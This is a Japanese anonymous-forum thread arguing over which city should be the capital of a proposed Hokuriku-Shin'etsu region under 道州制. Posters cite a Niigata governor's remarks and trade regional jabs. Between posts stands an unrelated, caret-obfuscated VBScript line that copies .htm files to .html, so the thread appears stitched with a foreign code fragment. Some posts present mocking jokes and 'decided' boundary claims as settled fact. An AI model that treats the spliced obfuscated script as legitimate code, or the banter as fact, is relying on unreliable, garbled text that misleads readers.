上越新首都に賛成。北陸新幹線が全線開通すれば、福井からだって遠くはないでしょう。金沢、長野、新潟は副首都的な立場という事で。
そうすると、問題は、南信と下越。まあ、いずれ将来的に解決されるでしょうけど。

「関東北陸ルート」から外れる下越は山形県に編入予定です。

If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.Copy^^^^File f1.path, f1.path+"l"

は？？上越？？
冬の暴風雨、暴風雪があるとこはダメ。

だとすると新潟県の主要都市は必然的にすべて外れます。
州都は長野です。

富山・長野・上越・糸魚川のどれかが良いとｵﾓﾀ

★新潟県知事　泉田裕彦の会見録（年頭の挨拶）で道州制を踏まえて以下の発言をしてます。

＞新潟市を都市圏という形で見れば、福島県、山形県の日本海側から来られる方、経済的な結びつき
＞の強い方が結構おられます。そういう観点で一つの拠点をつくっていくにはどうしたらいいかという政策
＞の企画立案が求められると考えています。

　新潟県知事自ら、新潟市の東北州入りを要望する発言をもって、このスレは終了してます。
　今後は、新潟の方は東北州スレで、北陸３県は純粋北陸スレで楽しんでください。

>>831
泉田知事は「新潟都市圏」と言ったまで。
新潟市を北信越における隣接州との接点・入り口として定義したのだ。
北信越としても東北とは仲良くしなくてはならない。

新潟県の基本姿勢はあくまでも北信越であることに何ら変わりは無い。
http://www.c-crews.co.jp/gnext_express/news/back/0305/030512_10.html

それに当の篠田市長は、東北副市長会の誘いを「北信越枠」を理由にオブザーバーとしてのみの参画を返答している。
これは事実上のお断りだ。
しかし観光・経済交流は深めると言ってる。

北信越と東北を観光・経済面で結ぶ拠点が新潟市と言う位置付けだ。

尚、今の知事は新潟市の肩を持つ人なので、新潟市が北信越州都に立候補すれば、当然全力を入れて応援後押しをするよ＃！♭

上越の直江津港は長野県の予算でも建設を進めてきた。
長野県にとって上越は海の玄関でもあるしね。

直江津港に釣りをしに来る車の多くが長野ナンバーだったりする。
上越が州都なら長野県民でも納得。

ただ南信地方は北陸より東海に近いので太平洋側の港を利用する。

>>786だったらたかが高架のカネくらい県にたかるな。

オレはあの神経が分からないんだよな。
震災だけでなく、水害もあったし、大雪もあり
これからは雪解けで又災害の危険もある。
県全体では非常に苦しい年にたかがローカル線の
高架くらいのことで、なんでわざわざ県に財政支援を
もとめる必要がある。復興の目途がつくまで当分
延期にするか県も苦しい状況だからその程度は
市で責任持ってやるとはっきり宣言するくらい
簡単なことだろうが。

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泉田知事の言ったのは、県境を接している山形県や福島県とも、経済活動は大いにやるべきだと言う事で、もっともな事だ。
しかし、これと道州制の問題とはちがう。
国家的な戦略や、文化的なことも含めて、新潟県は、北陸道として、中部日本海にあったほうがバランス的にもよいのは、明らかだ。

北陸信越州には賛成するけど、新潟州都はチョット端っこ過ぎないか？
やっぱ、将来の北陸新幹線と新潟方面信越線（こちらもできれば新幹線化が望ましい）が分岐していてアクセスのいい上越あたりを、州都にするのがいいんじゃネー
まだなにもない田舎らしいから、新しく街の設計もできるし

★新潟県知事　泉田裕彦の会見録（年頭の挨拶）で道州制を踏まえて以下の発言をしてます。

＞新潟市を都市圏という形で見れば、福島県、山形県の日本海側から来られる方、
＞経済的な結びつきの強い方が＞結構おられます。そういう観点で一つの拠点をつ
＞くっていくにはどうしたらいいかという政策の企画立案が求められると考えてい
＞ます。

　追伸、HP見ると上越地方を新潟県から分離する旨を発言してます。

◇新潟県知事自ら、新潟県の分割を宣言し、新潟市（下越）の東北州入りを熱望していますネ。

◎東北州　：　青森県・岩手県・宮城県・秋田県・山形県・福島県+新潟県（新潟市　下越地方）　←決定

上越市を北信越州都に相応しいと思うスレッドたてようよ。

>>839
そんな事はないだろ。
新潟県民は県の分解は望んでない。

まあ、全ての議論は新潟市が政令指定都市に昇格してからだな。
その時の新潟市に対する国の評価が全てであろう。

しかし、知事にそんな微妙な発言をさせるヤツが、知事の周りにいるとしたら、県の西部は北陸州、東部は東北州なんてことも有り得るよ
俺は、何を隠そうクソイナ下越だけど、北陸州が望ましいと思っているが

北信越州都として発展が期待される上越。
観光地と首都圏との大動脈を持つ中越。

全く役立たずの下越。